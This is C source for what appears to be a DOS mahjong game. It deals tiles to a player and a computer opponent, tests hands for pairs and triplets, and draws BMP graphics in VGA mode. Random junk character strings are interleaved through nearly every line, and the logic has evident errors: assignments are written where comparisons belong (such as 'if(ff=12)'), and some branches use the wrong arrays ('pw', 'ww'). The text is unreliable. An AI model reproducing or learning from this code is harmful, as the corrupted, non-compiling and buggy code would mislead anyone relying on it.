+ L. ^2 B0 T! m% n) {  g( `& D% htest[ill++]=pt[kl];* l2 \, F! @  e  a0 ~
}3 o/ q4 ~; \0 o6 e* l4 ?# H
isthree(test);
# s& z! E, V8 }8 d: G}, ]5 Y0 J7 z  w$ y, ^& A
}7 c/ ]& e" C+ Y7 S& {
else if(tt==6)
2 y8 F: c- O4 }7 histhree(pt,tt); : k$ L5 |  z. L7 ^1 q
else if(tt==8)
2 y7 \( c# j: Z  a/ j3 d/ Efor(i=0;i&lt;7;i++)
, T' k$ a* t) A+ {9 h9 R{+ ]- \' r. ]0 e) z6 h$ j
for(j=0;j&lt;2;j++)
& k- n7 [; \3 q/ r2 f/ t& G5 v{test[j]=pt[i+j];
' Y1 D! `0 b- `" ~  c' T5 M}
6 S% A; u# W; n! G$ n2 K7 hif(istwo(test))
+ Q8 R$ H5 P& w: ]3 o+ n, _{ ill=0;
9 n+ p5 C% f0 X6 c- R/ Y9 }for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
5 \3 y5 Z- w6 U4 B+ P+ t{if(kl==i)
9 V  W; `/ E$ i{
) V  ]8 f' C& ?5 S/ \6 zkl=kl+2;8 p  z# w# f& }9 m4 X- h6 y
if(kl==8)
9 ?4 l6 e- V4 j  k6 p( H$ ?break;! ], c: Z1 F0 o. T  R4 v
}7 I* E0 G% P1 {; {- e9 g
test[ill++]=pt[kl];9 ~% @) I2 q' z$ Y( R6 ^# ~0 N2 e
}
8 X: \& F: Z6 f' listhree(test,tt-2);
  E% |/ L0 p. n1 n! G6 T+ Z}& x2 K' V3 x7 z: r* x- f9 ^. O; P
}
$ B/ s0 ]. R2 L" helse if(tt==9)
+ d  N+ u7 |, o' cisthree(pt,tt);
' R+ s- Q, {  Y" S+ M  e2 Delse if(tt==11)# {6 N2 S$ X- T
for(i=0;i&lt;10;i++)
; L7 ]3 `7 u" I1 a- [1 z6 E4 j{
: b: r% s! _8 T5 e, G1 Ifor(j=0;j&lt;2;j++)5 D* ]; Z. i! ]) _8 _, b. _
{test[j]=pt[i+j];
$ r( a8 |* v, ~$ L- Z+ w5 m# O}0 ]+ O& o8 b3 ?
if(istwo(test))
8 w+ ]# Y- X8 j9 R{ ill=0;# ]) \& ?* Z. C
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
) R- L9 @2 m4 o" v5 `# S, g8 g' W{if(kl==i)
- B3 r9 B; P" o, ]2 j- ^+ g% ?{
" w  b1 n" ~: A0 M8 Kkl=kl+2;
$ h( p: o+ x. ~* B" @* R! y) Aif(kl==11)  z3 X4 N" |% ~6 m! o  C# T
break;
* t/ T4 T# r/ m/ V9 w# S( P}4 a2 M6 q0 H9 `
test[ill++]=pt[kl];' n5 u( C' T% K: n. X
}- B, P! L% e4 }+ v5 E  F% G
isthree(test,tt-2);
! n9 W7 E. j+ b. j}
& Z' D& ]6 }7 Z/ h2 y4 E$ @}
: E' q  {6 L, aelse if(tt=12)- l& c" Z0 w1 p+ k; S- K# k7 u
isthree(pt,tt);
- {% U1 z: j6 F9 w: Felse if(tt=14)
2 m4 |8 a! r3 V$ e" h: L7 H5 ufor(i=0;i&lt;13;i++)$ w0 b! E0 W/ m$ C" D; s" ^7 K+ y
{
. J, u7 e7 Z, w* [for(j=0;j&lt;2;j++); L$ }; w* R6 C& W2 t/ L( G
{test[j]=pt[i+j];
0 W- z1 c' s0 l2 Q) r3 K}7 v5 h! q) @8 p- L7 W$ s4 J
if(istwo(test))% q2 j. @5 g* m$ j) N" p
{ ill=0;3 r) u* h8 S1 z- U: D" T
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
4 g& B2 [! T8 n{if(kl==i)& f7 k. l4 T& M% x8 z1 E
{+ l4 ?' c+ g9 R+ [
kl=kl+2;
/ [6 e9 q" q3 D5 B* sif(kl==14)* d! e6 }7 R3 }9 s( Z+ C2 e4 i
break;5 z4 h. K# c; W4 ?
}$ H0 _1 w1 ?7 i4 d' x
test[ill++]=pt[kl];
7 Q5 l0 U& C  F2 q' J. k) E& o}
) o1 ~( ]& z8 l" T7 disthree(test,tt-2);
7 x6 @2 j$ ^6 P: S1 f! \}
- K% N2 p& ?2 f3 J}
  P! q8 P8 L" |$ K/ M5 Hif(ii==2)3 d6 G6 E! Z$ A8 S5 E7 H4 |
istwo(pi);
+ `. e- c7 l' [! F8 |+ S/ {9 Kelse if(ii==3), u/ I) X( A" T# w8 y9 p
isthree(pi,ii);
7 c& ?  y( R$ P/ q/ d) V+ q$ V( q7 G$ Lelse if(ii==5)5 J+ l/ M. |  O) ?& M- A6 W$ Z
/*pi[5]原始牌数组,假设已经升序排列*/6 i# y6 b) g* b6 r1 z& t
/*test[3]用来放置测试牌的数组*/7 b. _: |" q# Q! b$ Y
for(i=0;i&lt;4;i++)
0 [+ ?1 _+ g3 j9 P2 a{
* \& |' u$ K/ `; U+ B1 e/ afor(j=0;j&lt;2;j++)
. h' J4 y& t* `1 H& u$ ~8 |& ~2 Q* ^{test[j]=pi[i+j];
9 H" W% u" e& \+ e}1 R6 Y' Q* y0 K# \
if(istwo(test))
3 S6 K! ]1 k- p" _6 F. T2 Y{ ill=0;
( i- s1 T; o) z/ G' W/ P1 tfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/. W2 A3 L; Q4 t- R1 }: z! p
{if(kl==i)* X* ^5 V+ B9 N4 D$ B
{
- L2 y6 L7 q% D, L9 F& P- Zkl=kl+2;" e) v1 x! A3 ?6 @
if(kl==5)
5 j+ R" k$ ?( [break;
" P4 T+ \' F5 f( V& C}- k# `) d( ]4 U
test[ill++]=pw[kl];) I! z% N- n( G$ O7 I6 v
}
- [8 N0 S4 N6 S3 |3 b! R6 Cisthree(test);: S7 ~4 {" [  Y: Y5 k6 t
}" u5 ]( N! T( [' W$ ?
}
0 R0 H* w1 w& C& S1 J5 M1 a( lelse if(ii==6)- C- C/ ^% m/ n, O) F3 Y2 e) L
isthree(pi,ii); + @: O- e2 _  }( ~) S- t
else if(ii==8)
! f. T) V  V0 Nfor(i=0;i&lt;7;i++)/ G- I+ X. B+ e4 e0 L
{
1 Y4 s: J. K: \! ^for(j=0;j&lt;2;j++). L8 J3 X  P5 M5 [2 x
{test[j]=pi[i+j];
% E* w: R% ?, O- k}2 K9 F5 I; k8 m
if(istwo(test))
6 A( E6 Q6 @" x3 J. ?1 o$ I. b{ ill=0;
- r3 ?; Y+ i" [5 Qfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/2 f8 X3 |6 @5 n2 V; s0 h
{if(kl==i)2 Z) p$ @6 R' Q- {8 E6 f
{/ w0 m/ @; e# u
kl=kl+2;
. N* L# a+ W: u6 G/ B* Z2 r  sif(kl==8)
7 l  ]6 o4 j3 \4 v+ L; _break;
- w9 ]6 i* \+ ?3 w% R! j" B8 B$ G}
1 D7 [3 l$ \) Htest[ill++]=pi[kl];* ~" j) H& b( e* h$ b1 F
}" J9 W, D" k  o' Z/ D6 E1 ]% t
isthree(test,ii-2);
8 T4 N' O  x9 Q' ~, _}2 |% n. `% p% n) z( o
} - `/ P  @2 I4 v' f/ ?3 r1 V
else if(ii==9): K1 T/ p( w9 l8 \! O7 H# ?$ c1 K; L
isthree(pi,ii);
# @* t1 x- `( y; U* O9 _+ l5 l& Celse if(ii==11)
+ i% N4 P  v: E4 Vfor(i=0;i&lt;10;i++)
6 g8 s7 D* u# b0 V( X3 q{. H4 f. H  }. I, S/ l( e- S
for(j=0;j&lt;2;j++)
+ O6 M, J6 K2 V% H{test[j]=pi[i+j]; ' ?$ P: e1 J0 _# c2 L
}' Y+ ?: U  i, O/ o
if(istwo(test))' q/ V: h9 @+ ]5 ^  H
{ ill=0;% m4 [( E* f2 j0 R/ J& C
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
- p% K& {  `& M/ M6 E, n{if(kl==i)
1 \- h7 A4 s) o{2 U: m1 C$ I1 h( V5 E5 s9 t0 m0 Q
kl=kl+2;4 j) E! C% a5 P- @" D+ i! p; c. k+ q
if(kl==11)
, U$ X4 H4 H3 W5 qbreak;
% b- r8 J* c' X2 ~}
+ v& K# \1 D9 X# g# wtest[ill++]=pi[kl];
+ t/ P, Q( c! F4 \1 w, a% W- w}
# P* N( j+ p; f$ Visthree(test,ii-2);
; F3 b* ?4 z; }' }( J1 [}
0 Q+ h/ _5 ^$ ?( E}
  H7 N1 P, l% b  A1 }5 G3 y# e: gelse if(ii=12)
1 }8 [4 n  k& s& j$ gisthree(pi,ii);2 k6 B9 W9 g: Q/ Q4 c- w6 L
else if(ii=14)
3 I; x/ k: d& m* o7 Nfor(i=0;i&lt;13;i++)8 }7 \- t% j( I7 B% E9 F
{+ J/ c3 n1 @5 G
for(j=0;j&lt;2;j++)& V3 ?, t' e' Z* j- Z. X: y  ^. M
{test[j]=pi[i+j];
3 \* E  ]; R$ V& o+ j$ z$ V}
0 i( D& J5 A/ S9 ^" ?/ [if(istwo(test))* J0 u- W0 O, s
{ ill=0;9 n$ r9 |0 d8 u6 @: i% O9 b
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/3 F6 D  ]2 ]) n8 O
{if(kl==i)
, V6 o8 K  b9 s/ L{" ?8 }% x, E+ u' \
kl=kl+2;- C* ~, l4 s0 R+ o. ^, Y
if(kl==14). s, n; d7 b+ \
break;
; j7 B+ C2 \9 C, e0 d' h}+ v+ E2 f. t! H7 `) A' N
test[ill++]=pi[kl];0 h# }6 {: U  K1 F& F/ }) J, G
}' P7 B, G' l& n6 q, r; p
isthree(test,ii-2);
( W7 Q5 H0 G0 u}
% |+ `1 A& Y/ H2 k$ f( U} : {! B- d2 a) r7 L8 S( Y
if(ff==2)
! p( k7 L( b8 ^/ P7 f9 X, _- Tistwo(pf);2 p% \9 X3 R$ Y# {: G4 V  [$ Z
else if(ff==3)) O" ?, }" }% u2 h' T7 J9 d
isthree(pf,ff);, |. e  h6 O* z% [& c! o
else if(ff==5), o7 U; e9 _; y" V0 ^5 U0 n8 ]
/*pf[5]原始牌数组,假设已经升序排列*/5 Z; n# ^7 V: z
/*test[3]用来放置测试牌的数组*/6 f7 y' e7 k  f, y2 E# I1 C3 [! A
for(i=0;i&lt;4;i++)3 e9 R4 }/ ~* ~/ r4 G
{# [- k' I& Z' F
for(j=0;j&lt;2;j++)
+ \: T" z5 N6 q{test[j]=pf[i+j];
# d( O, J, a/ @/ z$ K5 z, }: `}+ u0 i7 `4 C2 {& Y
if(istwo(test))
; F. p  F4 A# ]+ ]: C{ ill=0;
) L; u) C$ h) ufor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/# r* c& O- ]3 q7 E  ~
{if(kl==i)
( w* x4 J! g- C# u8 v) ~{
/ G. {2 W$ F! _  m) ikl=kl+2;  U4 ?. e, ~* C" x4 q
if(kl==5)  z9 h0 L  Z/ I" `8 }* b( K
break;3 l6 }' ]2 g  k" P+ c$ T# H0 D
}
+ f; l8 l0 M! C4 n. h$ ^; vtest[ill++]=pf[kl];
/ F) l- L. M% a$ g) k2 o: p}
# O, x' k9 S, O1 `( xisthree(test);
; U9 |2 s. i4 i- ^* R}
1 Z: I+ Z- t$ o" Z+ G! k& u' T}
/ g. _" ~8 N, }4 helse if(ff==6)
9 E( L- p7 H/ H9 K* Aisthree(pf,ff);
: W, q  @4 z5 Pelse if(ff==8)
: R" a/ G2 A! w% m$ u! z" _for(i=0;i&lt;7;i++)
9 r8 B4 c7 N. C{
. D4 \8 t- _2 E# d/ Wfor(j=0;j&lt;2;j++)
" R0 }: X$ W# X{test[j]=pf[i+j];
- w. X' R( \2 \* t* s9 s& g}3 J( ?2 S' ]2 [' ]" u
if(istwo(test))2 h5 E/ F& X: M9 A3 z
{ ill=0;' ]  v8 d: s) o2 s" @5 x
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/" o% J) \& d3 V7 M7 S- |) X- o7 s
{if(kl==i)' m1 Z) h8 J6 ?
{
* t. j3 H8 j! {" Y+ z" Ykl=kl+2;
( L9 Z5 h, i3 Oif(kl==8)& f( h9 c0 J# a& Q. |
break;# a, @' u( U: _; O$ j; r
}
3 {. [: B' z1 ]& e! R% ~1 Vtest[ill++]=pf[kl];# M4 n' D9 W' `" T% [2 N
}
6 L0 T; n% T9 S3 z0 bisthree(test,ff-2);
1 `& x, J+ r% s+ [3 k7 t}
3 L6 x( f+ Q. I5 V} $ H0 q  I! c8 H1 V! M6 ]. r5 {: G
else if(ff==9)* j3 ~; J4 T" d
isthree(pw,ww);1 [6 z/ ^' K% q: L: `/ @, {1 ^# G! L9 W
else if(ff==11)2 e) C- f; z1 j8 G5 T" g7 `
for(i=0;i&lt;10;i++)3 d3 ^8 o1 r( q* W
{" Z6 E  Y. A* a/ \' Z2 H2 h
for(j=0;j&lt;2;j++)" `4 \7 g5 ]  Z: N6 p& m3 P
{test[j]=pf[i+j];
+ Z7 z" p( P4 h) x! S}7 O) x0 q0 I2 C- u- w" V
if(istwo(test))
* i' {8 Y' |/ v, U# c9 d- z{ ill=0;
! K8 u+ `+ H  {4 j" Mfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: n' S. u* |! G9 t{if(kl==i)
. g8 U& R% t& c$ e; m3 r2 L/ `{  @* ~9 |7 z- L' M$ \- v
kl=kl+2;
# C% G$ U) f& h4 E1 Qif(kl==11)+ N& j  B7 h) t4 T6 f, K$ C
break;% u' O: }9 \8 C) C
}( M5 n" n$ T  b, N% \( w0 ?3 ~
test[ill++]=pf[kl];
% L! t3 M  i! ~% }+ E0 @}5 U* i9 W( R& Q/ T8 z# U
isthree(test,ff-2);
; y# b& s3 F. A8 X# B5 @; _! Z# C}
! ?4 c8 G) L1 D! ^* s( }3 H, o} ' c- J" R, _; n: t' k, p& T
else if(ff=12)3 O) o2 ~/ B, H% M2 W
isthree(pf,ff);- a' O9 w/ k& e1 N% m
else if(ff=14)
) x$ O( o$ ?! _& p; mfor(i=0;i&lt;13;i++)8 ?/ l# N2 t7 v2 L- c
{/ n7 u2 P! E& V
for(j=0;j&lt;2;j++)
7 E4 q* j1 _& G" x6 v$ O{test[j]=pf[i+j];
0 K  r. o+ b& t; u1 j7 C( R}
# B, H* a/ v' y+ _; ?if(istwo(test))3 ~* X0 w2 k$ C) o
{ ill=0;
' k' ?/ J& i; e5 }' Y  tfor(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
; h1 Q; g* _! ^$ L$ o{if(kl==i)
% Z/ [7 U6 B% N2 d  N{: W2 \8 q% E. x! g" ~
kl=kl+2;7 `) x2 @! d9 d2 B, ^( G
if(kl==14)
1 w' i( B( x! _3 F' ~! Abreak;
' l6 d6 H5 }5 W! R% c: D}
. v# F# \  @+ c/ Ytest[ill++]=pf[kl];
/ i  e# Y- e+ w6 e* s4 j}
* e- E! D2 H& Z: d6 Xisthree(test,ff-2);
3 y: y' c1 V1 h6 _9 m: b}5 ]" G" w0 R* s. T3 {4 T* Q) u
}
* M; w$ O" M8 K/ R$ q6 A" Z" y}1 f  V, q; b! E0 H
void main(void)
8 K& {) ^8 N/ K% }& |& g{4 a( n0 |. J, }& U
FILE *bmp;
3 j+ z! a# }0 F/ I0 P" Rstatic char *name[2]={"ff.bmp","logo.bmp"};$ `  o) `: Z9 ~& @  q& p  j
char *p;
( I; h# F& {: ~% F/ _6 pint *lingshi;8 y0 }+ p* ~1 f* L; K
int x,y,i,j,t=2,cont=13,temp,n=0,onetothirteen=13,oneorthirteen=13,l=0,ll=0,kk,u;
& h3 K1 F8 T' a: Dint every=0,w=0,x1,x2,y1,y2,every1=0;5 ]+ ^% O( c8 q0 b  W
int logo,lg,lgg,logoo,b=0,c=0,pg=0,h,h1,g=0,kkk,kkkk,r=0,d,o=0,dwei=0,dweig=0,dw[3],nn;" Z3 v# ~9 B: t5 k3 k' [
BYTE palette[256][3];
- J/ A7 F- P+ r8 Q' B2 CSETVGA;
8 U- V5 j* V  K5 W9 k! r; fgetch();0 D* g9 ~5 m7 [8 [' b- r
while(t--)
* J( m" R0 ]/ e/ n1 C{! {; D+ i! H4 o$ J& H
bmp=fopen(name[t],"rb");
6 `: e+ w9 s6 o: {3 i) p( Q* j: L. |fseek(bmp,54,SEEK_SET);6 F3 b5 q1 I8 W# F/ ^# W
for(i=0;i&lt;256;i++)
$ `1 ^) `+ ~; U  B& `7 g{
2 _( D8 V" Z" z" Apalette[2]=fgetc(bmp)&gt;&gt;2;
, B4 M' v+ z& w: {7 q' S: X, E$ xpalette[1]=fgetc(bmp)&gt;&gt;2;
6 r! x3 E0 t* Y$ Y( l% epalette[0]=fgetc(bmp)&gt;&gt;2;7 q5 r/ ~1 |3 ~5 g+ L5 R5 Q
fgetc(bmp);: ^) B. Z6 x0 p9 r
Set_Palette(i,palette[0],palette[1],palette[2]);
8 z0 _+ O( u& e' F# k. V/ h}
4 \- ~/ v/ m4 V5 _6 Z; I, k5 Lfor (y=0;y&lt;200;y++)9 d6 [0 q' Y/ N" E& X
for(x=0;x&lt;320;x++)
% `( O* ]0 g& D( j  m( |pokeb(0xa000,y*320+x,fgetc(bmp));
0 }( O- ~% E' Rfclose(bmp);* K+ w) M1 ?- {8 d& H: [* s& j$ O+ o
getch();9 |! }: ]* i% A$ Q3 M
}. j: b2 e7 A5 _3 f: r
getch();' F: q# F$ P: P- O; Z6 t
fillRectangle(0,0,320,200,0);
! i* h0 P) P  o" egetch();" K/ w1 ?* _# P7 P. p7 P
randomize();
( H4 J: F, t9 w7 m6 Wme.m=onetothirteen;" Q7 U+ e8 C' S" |8 i! Z: n
while(me.m&gt;0) /*先循环,给自己拿牌*/5 ^( |" R: C) y* I  F
{
* }6 S# J: ?/ M
! W4 b1 g+ I# D. y  W3 Btemp=random(136);
9 X- g  F* [! s6 g' pif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
4 f/ i/ E: K$ a9 `3 E{/ z" O% e$ k9 \. D, `7 ]. Z# U' F
me.pp[n].k=m[temp].name; /*把136中之一的牌放到我的手上*/. S: W, W+ B5 R8 \
me.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/% p  d, Q) J/ y/ C# `/ Y, v
me.pp[n].number=temp; /*第几张,用来排序*/
9 j7 w( o# y7 r4 K. N3 U& }m[temp].data2=1; /*判断牌是谁的*/
' v+ N6 ?' A* h  p' V3 dkk=1;
' X8 m/ I. E) `' {}2 ?4 M3 Y3 k, }$ Z  S, I4 {$ y
if(kk==0) /*判断如果又选择了,就从新再选*/
# o9 h6 Z! Q& R" B; A{ 0 ]/ q2 a+ ?7 j: Q
me.m++;+ ^& `: b% [7 O' e: J  a
n--;
9 c2 c" O; ]4 ?6 t}
; n6 P) S9 h: }; nme.m--;# u' y0 ]4 u1 n2 ~0 x$ O
n++;
' t8 P  K" C. Fkk=0;
( Z& R6 x, d. |3 Y2 p* d! Q}
, ]$ Y  }% r  }9 Gme.m=12;5 }0 F/ Y/ E7 v
melipai(); /*理牌*/
( H: Q, R( x8 Z0 @+ |5 s* N) j( |5 E0 Z
n=13;$ p# g9 M7 }0 V* z3 Y( |
while(l&lt;n)
- V( ?8 L( T1 |! ~+ Y( y{4 r8 r0 |7 E8 \* ?- P
z=z+20;
- N. C/ Z# W: A- i2 c5 A* V/ Wshowbmp(l);
, A  X/ P& h: u1 _l++;# i! O0 N# u5 ^/ q% }
; s) J3 ]: c2 T% b* ?
}
" x) ^/ I. c( ?  c. ]& m+ ]- ]randomize();/ @* Q7 [- q1 a+ a% ~
computer.m=oneorthirteen;
" Y3 n9 _! N8 I" h9 bn=0;+ Z, J% U& I( _9 }) X: G' D. {, ?
while(computer.m&gt;0) /*循环,给对方拿牌*/2 E: g$ g2 E4 f' U, n8 y# p' J
{
$ d* G! D0 L2 q4 R! o  r$ ~+ utemp=random(136);
+ e2 R: F" _9 Q- O& lif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)! y2 V& [( {4 v+ m
{2 N# ~5 o: p! k" n
computer.pp[n].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/4 _) A3 v3 x5 k) K' y
computer.pp[n].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
( d7 L% O$ {2 j8 }) T+ Jcomputer.pp[n].number=temp; /*第几张,用来排序*/
1 k+ c" Z5 c: w8 K1 \  G3 p% O4 Hm[temp].data2=2; /*判断牌是谁的,2为电脑*/
. `$ y: ~2 [0 T. l- A4 Pkk=1;
4 Q' h/ U7 C" I  d0 O- F$ Z* J, N6 N}
5 N2 x3 s+ ]$ uif(kk==0) /*判断如果又选择了,就从新再选*/
2 J0 w6 M5 W3 n: u  H/ ^- u{
& K+ z8 x' E5 k# fcomputer.m++;
' p% R/ {' w$ G1 Z( J4 Yn--;
( p" U1 \# t% E& H# B& D1 @6 M, d}4 ]% S$ {+ {. R& o& f  b- W
computer.m--;
; Q8 \5 Q8 L+ D! [$ g5 D% fn++;0 p& A' l- x- L3 N
kk=0;
3 C1 q) }/ `. |}
8 K" h7 c8 U5 k" H% y+ Lcomputer.m=12;
# a2 Q1 H: ^* w6 y$ scomlipai(); /*电脑理牌*/# n3 J% n8 [/ w6 ^! }
n=13;
+ S1 o, V& y8 v- {7 y, U) {while(ll&lt;n)+ W# r. H9 {4 ~- J( Q
{
) Z0 n; J0 [4 H2 X9 _) M% azy=zy+20;4 l" r( P: B5 t% Y5 s
showybmp(ll);
9 G6 m7 V9 g" f) d7 C' l4 gll++;
) f; _: ]; X1 ]3 r0 A# k}
* w8 G/ \! V1 S" ^7 m  k/ t% w
  |' }2 ~6 v8 F, `0 Cz=54400;
3 C% X- o9 d8 G3 R1 G+ R' Qwhile(key!=ESC)' N# D* s7 a! U3 a& |2 P2 ^  W5 P
{
1 x% R) l- j1 `6 p- ^3 G& \5 B  G! H8 F' w8 I
keyy=bioskey(0);
( e4 q) S5 F  J. q; L2 `  g5 vif(keyy==LEFT) . [: O& l; o7 N2 t/ U% I
{ w=1;. V- G! O3 R7 o. g9 K
if(every==0)
- j- |  \  H( b2 \{
& O' D% ^! v: I' Q8 z4 n- h3 p9 fevery=1;# ]5 B/ C+ L9 o& Z2 ]
z=54440-5*320;
" \' x% B3 R! e9 S
* ~- j, l# ^$ z# g( P}* X/ s2 u1 I0 z1 Y( @
zz=zz+5*320;8 d" p7 f) N0 i
showbmp(every);
( e6 p* K3 J7 \" w) M# G0 @if(every==0)3 k8 {9 Y  T5 p; i
{5 Z: R+ M! ~) }
x1=20;
. ^, K7 B3 P# `$ ]y1=165;
  Q' m( ]7 i  Q; f- T, r0 R! wfillRectangle(x1,y1,x1+20,y1+4,0);
! Q2 g+ w+ G( s7 M3 J( i  \}0 P; }0 G7 J+ [. l& ^3 {
if(every==1)$ W5 G' U" L# v( T4 d7 U$ U2 b
{5 B4 n& j7 q. o
x1=40;
1 u2 }, H1 o+ `2 U: r& z. ty1=165;
. X, }( {" \# x3 W! NfillRectangle(x1,y1,x1+20,y1+4,0);; L0 J! ?2 o2 s/ q0 u; Z
}
5 R9 I' V- ]7 V6 ?if(every==2)
' Y) p/ i$ m3 |( m7 k# F{/ D! K/ A3 |6 c
x1=60;
2 J5 D; _- |) Ky1=165;
" O9 ~# C# \: Z& W: tfillRectangle(x1,y1,x1+20,y1+4,0);: a* K+ u4 \3 C) W$ U
}
' q% k$ I3 z3 ]. G* S$ mif(every==3)
/ v5 [. v1 n4 Q& D9 p9 Q: Y  ]- D{
5 F3 |" Y4 ?# P3 N1 lx1=80;: f& ~( x! R+ c' @2 H
y1=165;) ^% U) x- Z1 n" D
fillRectangle(x1,y1,x1+20,y1+4,0);
- X0 L! L$ [8 Y2 Q" P& Z}+ \- \9 Z0 f) b5 e" v5 R7 ]0 I
if(every==4)
3 u5 M* S. b* l0 U6 M{
) x+ i* K4 @: C/ [( ?- {/ o; k9 G% Kx1=100;, L' m+ L  N; D4 X* {% Q
y1=165;* ~. O+ g9 z4 g) T. L
fillRectangle(x1,y1,x1+20,y1+4,0);
7 v' {0 U4 c& ]" I6 v/ T- S. S# X; O}5 J  ?1 r" q) @
if(every==5)
  _( `" p" i1 N' ?4 E1 q{" R! ?  b0 _' L! N
x1=120;- Q$ C+ c0 c7 G) P# _
y1=165;
9 Y* w2 b9 J, o( d! O7 A) mfillRectangle(x1,y1,x1+20,y1+4,0);
' \/ o2 G  s) K' K2 T! k}
3 |5 F, }- Z1 w5 zif(every==6)
2 Q. q$ u! L# ^. E5 I$ D{
+ C. k! s/ J8 B+ P7 xx1=140;* w7 Z' }7 t' g" e
y1=165;
* A5 ^' W4 z- G% |# ]; O: [6 UfillRectangle(x1,y1,x1+20,y1+4,0);- o, l0 ~7 ~5 w; D' u
}
5 J" N3 k% R/ Pif(every==7)
, B' Q9 n" Y. s, J: U8 F4 B{
1 ^. ~6 E" F3 N: sx1=160;
/ l) _6 o5 F/ wy1=165;4 `8 j& Q: J# @5 G& k
fillRectangle(x1,y1,x1+20,y1+4,0);2 b4 j8 {* j7 Y, ]7 `8 F- `
}
1 _- ?3 T5 z- W' F, K+ O  yif(every==8)) ~6 n# R( d6 G- x" Y4 P' N# f
{
3 b7 ~# a' y2 |1 i$ b1 B5 b/ D$ v: Tx1=180;
7 K1 U) k0 N3 _5 cy1=165;
- u$ |1 M9 l: x) p* f9 a/ Q9 x( ffillRectangle(x1,y1,x1+20,y1+4,0);
9 k* m' Z  s; M  P$ l. r}/ @3 T2 V$ m  M, O
if(every==9)
; @5 U9 I5 ]( z{
( c9 X: ?/ k; [3 w7 A$ L8 z- \x1=200;
- S; V& |# {( a# v9 C5 E3 s! g4 yy1=165;
5 X, _% W( |% O7 E4 rfillRectangle(x1,y1,x1+20,y1+4,0);) u2 k  j( j2 N. `
}  T; B7 z0 O: o1 o8 k6 s
if(every==10)
5 a5 I& W( C" ?/ X" n! ^{, v4 R' ^6 M+ S6 U
x1=220;! B" w3 G, B( K' j
y1=165;# y: t" R5 g! G$ F
fillRectangle(x1,y1,x1+20,y1+4,0);
7 l& H# [2 }4 n6 A0 i% a6 {}
* c5 o% q% P" Z3 ]( y+ i: x) hif(every==11)
; d6 [; R% o; s. N* Y; x5 R2 q{& b* j1 z, ~9 m) B' l; F7 x
x1=240;: _1 A# t0 w  s2 o/ ~" W
y1=165;
7 ~# P8 a" M- d5 z1 R& b' v4 MfillRectangle(x1,y1,x1+20,y1+4,0);
. N  B9 g& ~8 l' l% p+ C" Q$ p. f}+ k* w5 S; i6 o4 n) I7 N/ L
if(every==12)" n7 R( A. N7 E( K; }* ~
{
$ J/ H, w* n. m4 u: l0 F. Rx1=260;0 L% W/ j2 a. z3 P
y1=165;4 |3 L4 m* s; j/ k, w
fillRectangle(x1,y1,x1+20,y1+4,0);
6 o  n! a8 H0 D$ Z/ X/ a: T}
2 I+ l( R+ x" @0 O# rzz=0;
2 r1 A/ l/ j; z" c/ K. Devery--;0 l) `$ w. ]: J) W9 u2 c
z=z-20;
& ^) B' R; ~* ~+ l! @: Q}$ ~9 d% c/ M( ~, i" j8 e
if(keyy==RIGHT)
+ ^" w- P0 N7 k: V{ if(w==0)
7 _8 K( D" C7 m2 o2 C  a* V! [' p{( Q8 B4 A6 |* d+ r* G6 f
z=54440-5*320;$ `' a4 w0 I% p/ v
z=z-20;
0 P1 d! t3 ^* y" Bw=1;$ o' K3 Q0 u/ |% @
}
2 v+ E( N2 a$ f% J! `if(every==12)
2 g( g3 \; r( X! {( _) Q7 R{- K* v0 p# I! i) L7 B! A
every=11;! z! c$ V% e; x
z=54640-5*320;  U! K7 C  f, L3 d8 F4 b
}+ j8 S! K4 S) a5 ]+ x5 f+ n. g. f
zz=zz+5*320;
6 c. O/ S( a- I8 r* ^, }1 s, x% Oshowbmp(every);" d/ G4 O% ]" q+ \" W+ F# R4 O) L9 g# G
if(every==0)
& p/ y  A2 S, i' ~/ O5 R$ A{
+ Q+ R9 ~3 C' l: Fx1=20;
/ j6 |7 q9 V( o: d) F4 o' Ey1=165;
. n8 M2 A/ V: x# h6 l/ TfillRectangle(x1,y1,x1+20,y1+4,0);
# g5 F! y* v) L) I( r! v; `, M}% z9 H/ v/ E- `; r' S
if(every==1)
9 j: j* @7 p% T) C{! G# C' Z) P# }5 Q6 N5 L8 h1 B
x1=40;/ w  ?; {# N  ~
y1=165;' A4 ]2 L! [2 }7 R6 H
fillRectangle(x1,y1,x1+20,y1+4,0);$ u4 p% W4 f5 c) q
}
6 U, s) |% r4 T7 l# }if(every==2)3 f2 N6 f& x+ t$ `* Y& H6 H
{( B8 N  }7 ^- n8 l) w& M1 P! h& ?& D
x1=60;
% k* S& N9 P: [. t, W) ny1=165;7 h5 S# x5 E$ `+ x5 g. _
fillRectangle(x1,y1,x1+20,y1+4,0);
, Q8 y7 b, `1 W; u" w  g! S}" T8 @' z  }  w9 a. n& d
if(every==3)$ q9 x% X  {9 J' }) h
{* B4 A$ ^* ^' J
x1=80;8 f5 b9 @, G  d8 D- j
y1=165;; G8 q8 `, v0 [+ z2 S+ ]
fillRectangle(x1,y1,x1+20,y1+4,0);
, _; G4 l4 _8 S% l+ I}
- p- l! i. f! ]( mif(every==4)0 u  e- M; W7 g2 x
{  j( B, V! a* `" N
x1=100;
# l3 r! U! V% J0 F* d2 p# hy1=165;
- j* u1 s# u& Z# |# x1 sfillRectangle(x1,y1,x1+20,y1+4,0);: Q, D# W/ c* V, O
}6 d- e) }3 |  D; |: H
if(every==5)6 z; ]  U* b. E4 j0 z
{
: m! x; X5 t9 f4 W4 tx1=120;4 e! y- `% J- T5 V: }
y1=165;7 Z# G- {* ]2 n! W
fillRectangle(x1,y1,x1+20,y1+4,0);3 j, r  k! O# U
}
